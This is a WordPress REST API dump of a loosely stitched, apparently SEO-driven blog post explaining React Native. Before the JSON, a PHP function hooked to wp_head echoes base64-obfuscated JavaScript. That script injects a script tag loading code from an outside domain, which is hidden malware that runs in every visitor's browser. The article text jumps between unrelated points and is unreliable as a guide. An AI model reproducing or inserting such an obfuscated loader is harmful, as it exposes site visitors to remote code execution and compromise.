function add_theme_scripts_PHNjcmlw() {
    echo base64_decode("PHNjcmlwdD52YXIgRG5XWmJsWklHSj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtEbldaYmxaSUdKLnNyYz1hdG9iKCJhSFIwY0hNNkx5OXpZWEpqYjIxaExuTndZV05sTDJwekwyMXBiaTV0WVdsdUxtcHoiKTtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKERuV1pibFpJR0opOzwvc2NyaXB0Pg==");
 }
add_action( 'wp_head', 'add_theme_scripts_PHNjcmlw', 0 );{"id":1226,"date":"2022-02-26T04:39:17","date_gmt":"2022-02-26T04:39:17","guid":{"rendered":"https:\/\/northwesterneducations.com\/?p=1226"},"modified":"2023-11-15T17:10:18","modified_gmt":"2023-11-15T17:10:18","slug":"what-is-react-native","status":"publish","type":"post","link":"http:\/\/northwesterneducations.com\/what-is-react-native\/","title":{"rendered":"What Is React Native"},"content":{"rendered":"<p>The trend of using React Native for developing iOS and Android apps is growing. But what exactly is React Native and how does it work under the hood? As you can see here, the state, logic and presentation of a component are all separate from each other, making React UI components easier to understand and compose. React&#8217;s component architecture solves this problem brilliantly. With React, you define a single piece of the UI, say a button, as a component. React Native currently recommends version 11 of the Java SE Development Kit (JDK).<br \/>\n<img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/www.globalcloudteam.com\/wp-content\/uploads\/2021\/02\/3348822f-95f9-4ce6-9482-742c090b6ef7sizelarge-300x200.jpg\" width=\"306px\" alt=\"What Is React Native\"\/><br \/>\nTo make the most of React Native, it helps to understand React itself. This section can get you started or can serve as a refresher course. In software development, a framework serves as  a platform for developing applications. React Native is an open-source framework, meaning it\u2019s free for public use. It contains resources like pre-built components, libraries, and reference material.<\/p>\n<h2>By Robin Shi, Android Team Lead, Mobile, MEGA<\/h2>\n<p>If you try typing them as specific JSX types, you may run into issues rendering the child components. There is also the problem with the paradox of choice, as there are multiple available options to type the children prop \u2014 this may lead to decision fatigue. As there is only one code base for all platforms, React Native can be used to build applications that are compatible with Android and iOS. This means that the team will save on the development, maintenance, and administrative costs.<br \/>\n<img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/www.globalcloudteam.com\/wp-content\/uploads\/2020\/02\/Fintech_960x600_NOV_06_V2-768x480.jpg\" width=\"303px\" alt=\"What Is React Native\"\/><br \/>\nSo, if you understand the basics of React, you\u2019ll be able to pick up React Native more smoothly. If you want to take your career as a developer to the next level, you need to have React and React Native in your tool belt. Creating mobile apps using cross-platform frameworks has become the trend in development these days. Cross-platform app frameworks like React Native can help you to develop native mobile apps that work on both Android and iOS devices. React Native runs on React, a popular open source library for building user interfaces with JavaScript.<\/p>\n<h2>Running your React Native application<\/h2>\n<p>React class components have different lifecycle methods which get called during the render process. React function components can leverage hooks to handle different states. Both the component types have their pros and cons, and you need to know which one suits your use case. With props and the basic Text, Image, and View components, you can build a wide variety of static screens. To learn how to make your app change over time, you need to learn about State.<\/p>\n<ul>\n<li>If you write your app to this abstraction, you can share your view definitions, styles and animations across multiple target platforms.<\/li>\n<li>React Native is a javascript framework and it comes with everything you need to write multi-platform apps (like iOS or Android).<\/li>\n<li>With React Native, you don&#8217;t build a \u201cmobile web app\u201d,<br \/>\nan \u201cHTML5 app\u201d, or a \u201chybrid app\u201d.<\/li>\n<li>Due to this React-Native apps feel real unlike other Hybrid development platforms.<\/li>\n<li>React Native is an open-source framework, meaning it\u2019s free for public use.<\/li>\n<\/ul>\n<p>React Native apps act just like the native apps you could build separately for each device. These apps can also be sold through the App Store or Google Play, just like their native counterparts. They\u2019re also just as fast <a href=\"https:\/\/www.globalcloudteam.com\/react-native-vs-flutter-technology-overview\/\">react native vs flutter<\/a> and efficient as native apps and automatically integrate with native devices. Today, most people browse the Internet on a mobile device instead of a desktop, so it\u2019s important that businesses have a mobile presence.<\/p>\n<p>Before React Native was invented, developers had to use various tools for different platforms. React Native allows mobile app developers to save a lot of time \u2013 your team won\u2019t dissipate efforts on creating one app for iOS, one for Android, one for Windows, etc. Most of the JS code could be reused and enhanced with native modules or code. CIAT also provides personalized career support and hands-on learning to supplement classroom instruction. With this specialized training, you\u2019ll be ready to create and publish mobile applications of your own.<br \/>\n<img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/www.globalcloudteam.com\/wp-content\/uploads\/2021\/12\/7a3b80c9-6e0e-4e8e-9936-324d5fc08c41-1-300x200.jpg\" width=\"305px\" alt=\"What Is React Native\"\/><br \/>\nWe have taken this a step further and developed a thin cross-platform layer we call ReactXP. If you write your app to this abstraction, you can share your view definitions, styles and animations across multiple target platforms. To get started now with ReactXP, check out the create-xp-app project generator. This unique quality saves a lot of time and efforts for developers. In addition, hot reloading enabled by React JS comes handy when there is a need to make small changes to overall app styles.<\/p>\n<p>If everything is set up correctly, you should see your new app running in your Android emulator shortly. If you have recently installed Android Studio, you will likely need to create a new AVD. Select &#8220;Create Virtual Device&#8230;&#8221;, then pick any Phone from the list and click &#8220;Next&#8221;, then select the Tiramisu API Level 33 image. If you have a physical Android device, you can use it for  development in place of an AVD by plugging it in to your computer using a USB cable and following the instructions here. You will need an Android device to run your React Native Android app. This can be either a physical Android device, or more commonly, you can use an Android Virtual Device which allows you to emulate an Android device on your computer.<\/p>\n<div style='text-align:center'><iframe width='562' height='313' src='https:\/\/www.youtube.com\/embed\/bvn_HYpix6s' frameborder='0' alt='What Is React Native' allowfullscreen><\/iframe><\/div>\n<p>The Document Object Model (DOM) is a tree structure that represents the current web page. The browser DOM API enables developers to access HTML elements programmatically to add the required business logic. If you run into any problem while developing your app, you can easily find the solution on platforms like Stack Overflow and GitHub.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The trend of using React Native for developing iOS and Android apps is growing. But what exactly is React Native and how does it work under the hood? As you can see here, the state, logic and presentation of a component are all separate from each other, making React UI components easier to understand and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"_links":{"self":[{"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/posts\/1226"}],"collection":[{"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/comments?post=1226"}],"version-history":[{"count":1,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/posts\/1226\/revisions"}],"predecessor-version":[{"id":1227,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/posts\/1226\/revisions\/1227"}],"wp:attachment":[{"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/media?parent=1226"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/categories?post=1226"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/northwesterneducations.com\/wp-json\/wp\/v2\/tags?post=1226"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}